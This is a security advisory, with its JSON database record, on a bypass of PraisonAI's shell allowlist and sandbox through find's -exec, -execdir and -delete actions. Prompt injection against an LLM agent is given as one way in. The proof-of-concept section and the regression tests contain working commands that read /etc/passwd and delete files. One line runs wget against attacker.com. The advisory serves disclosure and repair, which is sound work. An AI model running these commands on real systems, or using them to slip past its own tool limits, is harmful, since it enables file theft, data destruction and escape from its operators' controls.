PYSEC-2026-4254

Vulnerability from pysec - Published: 2026-10-15 10:22 - Updated: 2026-10-15 14:38
VLAI
Details

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).

Details

Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.

However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):

find /path -exec <command> {} +

The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.

Affected components (4 implementations, same gap):

# Component File Gap
1 TS utility-tools shell() src/praisonai-ts/src/tools/utility-tools.ts:255 find in safeCommands allowlist
2 TS SandboxExecutor src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 find absent from DEFAULT_BLOCKED_COMMANDS
3 Python safe_shell src/praisonai/praisonai/cli/features/safe_shell.py:22-58 find absent from BANNED_COMMANDS, present in SAFE_COMMANDS
4 Python sandbox_executor src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 find absent from blocked_commands

Bypass analysis:

Check find /etc -name passwd -maxdepth 1 -execdir cat {} + Result
Metachar regex /[;|&\><]/|{,},+` are not in regex PASS
Regex /\$\([^)]*\)/ No $(...) PASS
safeCommands.includes('find') find IS in allowlist PASS
SandboxExecutor blocked paths normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) PASS
spawn('find', [...], {shell:false}) find interprets -execdir internally BYPASS

The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.

Preconditions:

Precondition How attacker obtains Default?
Access to shell() or SandboxExecutor Default built-in tool in the npm agent toolkit; reachable via prompt injection Y
find binary on target Standard Unix utility, present on Linux/macOS Y
find in allowlist / absent from blocklist Default configuration in each implementation Y

PoC

1. Data exfiltration via -execdir (utility-tools.ts)

const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() {
    // Control: direct 'wget' is rejected (not in safeCommands)
    const control = await shell('wget http://example.com');
    console.log('[CONTROL] rejected:', !control.success);  // true

    // Bypass: find -execdir reads /etc/passwd via find's built-in action
    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
    console.log('[BYPASS]:', bypass.success);  // true
    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...
}
poc();

Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.

2. File deletion

await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in — clean exit 0, files deleted

3. Non-allowlisted command (side-effect based)

await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero

4. Python safe_shell

from praisonai.cli.features.safe_shell import safe_execute

result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout)  # root:x:0:0:root:/root:/bin/bash ...

Impact

An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:

  • Blocked file read: -execdir reads files in DEFAULT_BLOCKED_PATHS by splitting the path across arguments (verified: exit 0, data returned)
  • File deletion: -delete destroys files without metacharacters (verified: clean exit 0)
  • Non-allowlisted command execution: -exec runs commands not in safeCommands (side effect fires regardless of exit code)

Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.

Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.

Suggested fix

Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.

Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.

Regression tests:

test('rejects find -exec', async () => {
    expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
    expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
    expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});

References

  • GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)
  • GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)
  • Fix commits: 2adfe7e, 2f9677a (2026-06-13)
Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Impacted products
Name purl
praisonai pkg:pypi/praisonai
Aliases
To clipboard 

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    }
  ],
  "aliases": [
    "CVE-2026-61434",
    "GHSA-cv3g-hj65-pcfh"
  ],
  "details": "### Summary\n\nThe shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`\u0027s built-in `-exec` action.\n\nThe fix blocks shell metacharacters (`` ;|\u0026`\u003e\u003c$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters \u2014 the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).\n\n### Details\n\n**Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked.\n\nHowever, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts):\n\n```\nfind /path -exec \u003ccommand\u003e {} +\n```\n\nThe `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex.\n\n**Affected components** (4 implementations, same gap):\n\n| # | Component | File | Gap |\n|---|---|---|---|\n| 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist |\n| 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` |\n| 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` |\n| 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` |\n\n**Bypass analysis**:\n\n| Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result |\n|---|---|---|\n| Metachar regex `/[;|\u0026\\`\u003e\u003c]/` | `{`, `}`, `+` are not in regex | PASS |\n| Regex `/\\$\\([^)]*\\)/` | No `$(...)` | PASS |\n| `safeCommands.includes(\u0027find\u0027)` | `find` IS in allowlist | PASS |\n| SandboxExecutor blocked paths | `normalized.includes(\u0027/etc/passwd\u0027)` \u2192 FALSE (path split: `/etc ` + `passwd`) | PASS |\n| `spawn(\u0027find\u0027, [...], {shell:false})` | find interprets `-execdir` internally | BYPASS |\n\nThe `-execdir` technique also evades the SandboxExecutor\u0027s substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string.\n\n**Preconditions**:\n\n| Precondition | How attacker obtains | Default? |\n|---|---|---|\n| Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |\n| `find` binary on target | Standard Unix utility, present on Linux/macOS | Y |\n| `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y |\n\n### PoC\n\n**1. Data exfiltration via -execdir (utility-tools.ts)**\n\n```javascript\nconst { shell } = require(\u0027praisonai/dist/tools/utility-tools\u0027);\n\nasync function poc() {\n    // Control: direct \u0027wget\u0027 is rejected (not in safeCommands)\n    const control = await shell(\u0027wget http://example.com\u0027);\n    console.log(\u0027[CONTROL] rejected:\u0027, !control.success);  // true\n\n    // Bypass: find -execdir reads /etc/passwd via find\u0027s built-in action\n    const bypass = await shell(\u0027find /etc -name passwd -maxdepth 1 -execdir cat {} +\u0027);\n    console.log(\u0027[BYPASS]:\u0027, bypass.success);  // true\n    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...\n}\npoc();\n```\n\nCode path: `safeCommands.includes(\u0027find\u0027)` \u2192 true \u2192 `containsShellMetacharacters(...)` \u2192 false \u2192 `spawn(\u0027find\u0027, [\u0027/etc\u0027,\u0027-name\u0027,\u0027passwd\u0027,\u0027-maxdepth\u0027,\u00271\u0027,\u0027-execdir\u0027,\u0027cat\u0027,\u0027{}\u0027,\u0027+\u0027], {shell:false})` \u2192 find chdirs to /etc \u2192 `cat ./passwd` \u2192 exit 0 \u2192 `{success: true, data: \"\u003cpasswd contents\u003e\"}`.\n\n**2. File deletion**\n\n```javascript\nawait shell(\u0027find /app/uploads -name \"*.bak\" -delete\u0027);\n// -delete is a find built-in \u2014 clean exit 0, files deleted\n```\n\n**3. Non-allowlisted command (side-effect based)**\n\n```javascript\nawait shell(\u0027find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +\u0027);\n// HTTP request fires as side effect before find returns non-zero\n```\n\n**4. Python safe_shell**\n\n```python\nfrom praisonai.cli.features.safe_shell import safe_execute\n\nresult = safe_execute(\"find /etc -name passwd -maxdepth 1 -execdir cat {} +\")\nprint(result.stdout)  # root:x:0:0:root:/root:/bin/bash ...\n```\n\n### Impact\n\nAn attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:\n\n- **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned)\n- **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0)\n- **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code)\n\nShell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk \u2014 but this includes `cat`, `chmod`, `python3`, `curl` etc.\n\nSame severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.\n\n### Suggested fix\n\n**Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix.\n\n**Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags.\n\n**Regression tests**:\n```typescript\ntest(\u0027rejects find -exec\u0027, async () =\u003e {\n    expect((await shell(\u0027find /tmp -maxdepth 0 -exec wget http://x.com {} +\u0027)).success).toBe(false);\n});\ntest(\u0027rejects find -execdir\u0027, async () =\u003e {\n    expect((await shell(\u0027find /etc -name passwd -maxdepth 1 -execdir cat {} +\u0027)).success).toBe(false);\n});\ntest(\u0027rejects find -delete\u0027, async () =\u003e {\n    expect((await shell(\u0027find /app -name \"*.bak\" -delete\u0027)).success).toBe(false);\n});\n```\n\n### References\n\n- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)\n- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)\n- Fix commits: 2adfe7e, 2f9677a (2026-06-13)",
  "id": "PYSEC-2026-4254",
  "modified": "2026-10-15T14:38:01.864823Z",
  "published": "2026-10-15T10:22:53.625645Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cv3g-hj65-pcfh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61434"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-allowlist-bypass-via-find-exec"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cv3g-hj65-pcfh"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Shell command allowlist bypass via find -exec built-in action"
}



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